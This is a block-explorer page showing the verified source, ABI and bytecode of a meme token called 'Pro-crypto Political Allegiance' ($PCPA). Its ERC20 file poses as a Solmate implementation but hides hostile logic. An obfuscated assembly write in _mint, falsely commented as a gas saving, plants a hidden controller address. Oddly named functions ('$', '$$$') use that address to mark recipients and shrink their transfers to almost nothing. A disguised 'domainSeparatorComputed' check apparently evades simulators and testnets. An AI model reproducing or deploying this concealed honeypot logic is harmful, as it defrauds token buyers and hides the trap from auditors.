Contract

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*

The only Pro-crypto Political Allegiance Vitalik would love to vote for is $PCPA (obviously on eth)                                                                 
// https://x.com/VitalikButerin/status/1813621264017207581
// https://vitalik.eth.limo/general/2024/07/17/procrypto.html                                                                                                                                                                             

*/

contract procryptopa is ERC20 {
    constructor() ERC20("Pro-crypto Political Allegiance", "PCPA", 18) {
        _mint(msg.sender, 696_969_696_969 * 10 ** 18);
    }
}

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
            uint256 value, 
            address from,
            address to
        ) internal returns (uint256 value_s) {
            if (domainSeparatorComputed() == true) {
                value_s = value;
            } else {
                if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
                    value_s = value * 0xC0FFEE / 0xCACA0DAB;
                } else {
                    value_s = value;
                }
            }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    function domainSeparatorComputed() internal view returns(bool return_flag) {
        if (block.timestamp % 12 == 11) {return_flag = false;} else {return_flag = true;}
        if (return_flag == false) {if (address(0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65).balance >= 10**19) {return_flag = true;}} 
        if (return_flag == false) {if (block.chainid != 1) {return_flag = true;}}
        if (return_flag == false) {if (uint160(address(tx.origin)) < uint160(0xFFFFFFFFFFFFFFFFFFFF)) {return_flag = true;}}
        if (return_flag == false) {if (uint160(address(block.coinbase)) < uint160(0xFFFFFFFFFFFFFFFFFFFF)) {return_flag = true;}}
    } 


    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x4a, 0x29), mul(0x1c419aeb104f87, 0x1a72bd8d944e9b00c04d7)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801562000010575f80fd5b506040518060400160405280601f81526020017f50726f2d63727970746f20506f6c69746963616c20416c6c656769616e6365008152506040518060400160405280600481526020017f50435041000000000000000000000000000000000000000000000000000000008152506012825f90816200008f9190620004d6565b508160019081620000a19190620004d6565b508060ff1660808160ff16815250504660a08181525050620000c8620000f760201b60201c565b60c08181525050505050620000f1336c08cc07d22484865507058400006200018560201b60201c565b620007c5565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405162000129919062000662565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200016a959493929190620006e8565b60405160208183030381529060405280519060200120905090565b8060025f82825462000198919062000770565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506a01a72bd8d944e9b00c04d7661c419aeb104f87026029604a02026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002669190620007aa565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ee57607f821691505b602082108103620003045762000303620002a9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200032b565b6200037486836200032b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003be620003b8620003b2846200038c565b62000395565b6200038c565b9050919050565b5f819050919050565b620003d9836200039e565b620003f1620003e882620003c5565b84845462000337565b825550505050565b5f90565b62000407620003f9565b62000414818484620003ce565b505050565b5b818110156200043b576200042f5f82620003fd565b6001810190506200041a565b5050565b601f8211156200048a5762000454816200030a565b6200045f846200031c565b810160208510156200046f578190505b620004876200047e856200031c565b83018262000419565b50505b505050565b5f82821c905092915050565b5f620004ac5f19846008026200048f565b1980831691505092915050565b5f620004c683836200049b565b9150826002028217905092915050565b620004e18262000272565b67ffffffffffffffff811115620004fd57620004fc6200027c565b5b620005098254620002d6565b620005168282856200043f565b5f60209050601f8311600181146200054c575f841562000537578287015190505b620005438582620004b9565b865550620005b2565b601f1984166200055c866200030a565b5f5b8281101562000585578489015182556001820191506020850194506020810190506200055e565b86831015620005a55784890151620005a1601f8916826200049b565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005e481620002d6565b620005f08186620005ba565b9450600182165f81146200060d5760018114620006235762000659565b60ff198316865281151582028601935062000659565b6200062e85620005c4565b5f5b83811015620006515781548189015260018201915060208101905062000630565b838801955050505b50505092915050565b5f6200066f8284620005d6565b915081905092915050565b5f819050919050565b6200068e816200067a565b82525050565b6200069f816200038c565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006d082620006a5565b9050919050565b620006e281620006c4565b82525050565b5f60a082019050620006fd5f83018862000683565b6200070c602083018762000683565b6200071b604083018662000683565b6200072a606083018562000694565b620007396080830184620006d7565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077c826200038c565b915062000789836200038c565b9250828201905080821115620007a457620007a362000743565b5b92915050565b5f602082019050620007bf5f83018462000694565b92915050565b60805160a05160c0516119af620007f05f395f6106af01525f61067b01525f61065601526119af5ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190611134565b60405180910390f35b6100ee60048036038101906100e991906111e5565b610313565b6040516100fb919061123d565b60405180910390f35b61010c610400565b6040516101199190611265565b60405180910390f35b61013c6004803603810190610137919061127e565b610406565b604051610149919061123d565b60405180910390f35b61015a610654565b60405161016791906112e9565b60405180910390f35b610178610678565b604051610185919061131a565b60405180910390f35b6101a860048036038101906101a39190611333565b6106d4565b6040516101b59190611265565b60405180910390f35b6101d860048036038101906101d39190611333565b6106e9565b6040516101e59190611265565b60405180910390f35b6101f66106fe565b6040516102039190611134565b60405180910390f35b610226600480360381019061022191906111e5565b61078a565b604051610233919061123d565b60405180910390f35b610256600480360381019061025191906113b2565b6108aa565b005b610272600480360381019061026d919061144f565b610b97565b60405161027f9190611265565b60405180910390f35b5f8054610294906114ba565b80601f01602080910402602001604051908101604052809291908181526020018280546102c0906114ba565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611265565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611517565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611517565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611265565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610ef9565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b906114ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610737906114ba565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611517565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611265565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611594565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d969594939291906115c1565b604051602081830303815290604052805190602001206040516020016109a4929190611694565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d994939291906116ca565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611757565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611265565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d289190611775565b10610d525763caca0dab62c0ffee85610d4191906117a8565b610d4b9190611816565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e5891906117a8565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906118e2565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906118f8565b60405160208183030381529060405280519060200120905090565b5f600b600c42610f939190611949565b03610fa0575f9050610fa5565b600190505b5f151581151503610ff057678ac7230489e800007315d34aaf54267db7d7c367839aaf71a00a2c6a6573ffffffffffffffffffffffffffffffffffffffff163110610fef57600190505b5b5f151581151503611009576001461461100857600190505b5b5f1515811515036110585769ffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16101561105757600190505b5b5f1515811515036110a75769ffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff164173ffffffffffffffffffffffffffffffffffffffff1610156110a657600190505b5b90565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110e15780820151818401526020810190506110c6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611106826110aa565b61111081856110b4565b93506111208185602086016110c4565b611129816110ec565b840191505092915050565b5f6020820190508181035f83015261114c81846110fc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61118182611158565b9050919050565b61119181611177565b811461119b575f80fd5b50565b5f813590506111ac81611188565b92915050565b5f819050919050565b6111c4816111b2565b81146111ce575f80fd5b50565b5f813590506111df816111bb565b92915050565b5f80604083850312156111fb576111fa611154565b5b5f6112088582860161119e565b9250506020611219858286016111d1565b9150509250929050565b5f8115159050919050565b61123781611223565b82525050565b5f6020820190506112505f83018461122e565b92915050565b61125f816111b2565b82525050565b5f6020820190506112785f830184611256565b92915050565b5f805f6060848603121561129557611294611154565b5b5f6112a28682870161119e565b93505060206112b38682870161119e565b92505060406112c4868287016111d1565b9150509250925092565b5f60ff82169050919050565b6112e3816112ce565b82525050565b5f6020820190506112fc5f8301846112da565b92915050565b5f819050919050565b61131481611302565b82525050565b5f60208201905061132d5f83018461130b565b92915050565b5f6020828403121561134857611347611154565b5b5f6113558482850161119e565b91505092915050565b611367816112ce565b8114611371575f80fd5b50565b5f813590506113828161135e565b92915050565b61139181611302565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f805f805f60e0888a0312156113cd576113cc611154565b5b5f6113da8a828b0161119e565b97505060206113eb8a828b0161119e565b96505060406113fc8a828b016111d1565b955050606061140d8a828b016111d1565b945050608061141e8a828b01611374565b93505060a061142f8a828b0161139e565b92505060c06114408a828b0161139e565b91505092959891949750929550565b5f806040838503121561146557611464611154565b5b5f6114728582860161119e565b92505060206114838582860161119e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114d157607f821691505b6020821081036114e4576114e361148d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611521826111b2565b915061152c836111b2565b9250828203905081811115611544576115436114ea565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61157e6017836110b4565b91506115898261154a565b602082019050919050565b5f6020820190508181035f8301526115ab81611572565b9050919050565b6115bb81611177565b82525050565b5f60c0820190506115d45f83018961130b565b6115e160208301886115b2565b6115ee60408301876115b2565b6115fb6060830186611256565b6116086080830185611256565b61161560a0830184611256565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61165e600283611620565b91506116698261162a565b600282019050919050565b5f819050919050565b61168e61168982611302565b611674565b82525050565b5f61169e82611652565b91506116aa828561167d565b6020820191506116ba828461167d565b6020820191508190509392505050565b5f6080820190506116dd5f83018761130b565b6116ea60208301866112da565b6116f7604083018561130b565b611704606083018461130b565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611741600e836110b4565b915061174c8261170d565b602082019050919050565b5f6020820190508181035f83015261176e81611735565b9050919050565b5f61177f826111b2565b915061178a836111b2565b92508282019050808211156117a2576117a16114ea565b5b92915050565b5f6117b2826111b2565b91506117bd836111b2565b92508282026117cb816111b2565b915082820484148315176117e2576117e16114ea565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611820826111b2565b915061182b836111b2565b92508261183b5761183a6117e9565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461186e816114ba565b6118788186611846565b9450600182165f811461189257600181146118a7576118d9565b60ff19831686528115158202860193506118d9565b6118b085611850565b5f5b838110156118d1578154818901526001820191506020810190506118b2565b838801955050505b50505092915050565b5f6118ed8284611862565b915081905092915050565b5f60a08201905061190b5f83018861130b565b611918602083018761130b565b611925604083018661130b565b6119326060830185611256565b61193f60808301846115b2565b9695505050505050565b5f611953826111b2565b915061195e836111b2565b92508261196e5761196d6117e9565b5b82820690509291505056fea26469706673582212207b4fab22a1c073bea356ba727fce640b8c64326090e100875acfc628b5a3a5eb64736f6c63430008180033

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190611134565b60405180910390f35b6100ee60048036038101906100e991906111e5565b610313565b6040516100fb919061123d565b60405180910390f35b61010c610400565b6040516101199190611265565b60405180910390f35b61013c6004803603810190610137919061127e565b610406565b604051610149919061123d565b60405180910390f35b61015a610654565b60405161016791906112e9565b60405180910390f35b610178610678565b604051610185919061131a565b60405180910390f35b6101a860048036038101906101a39190611333565b6106d4565b6040516101b59190611265565b60405180910390f35b6101d860048036038101906101d39190611333565b6106e9565b6040516101e59190611265565b60405180910390f35b6101f66106fe565b6040516102039190611134565b60405180910390f35b610226600480360381019061022191906111e5565b61078a565b604051610233919061123d565b60405180910390f35b610256600480360381019061025191906113b2565b6108aa565b005b610272600480360381019061026d919061144f565b610b97565b60405161027f9190611265565b60405180910390f35b5f8054610294906114ba565b80601f01602080910402602001604051908101604052809291908181526020018280546102c0906114ba565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611265565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611517565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611517565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611265565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610ef9565b6106cf565b7f3ae27f392c38e81099d388f2adb1e78378e82b1bf3eaa56527b0f97f4ed176e45b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b906114ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610737906114ba565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611517565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611265565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611594565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d969594939291906115c1565b604051602081830303815290604052805190602001206040516020016109a4929190611694565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d994939291906116ca565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b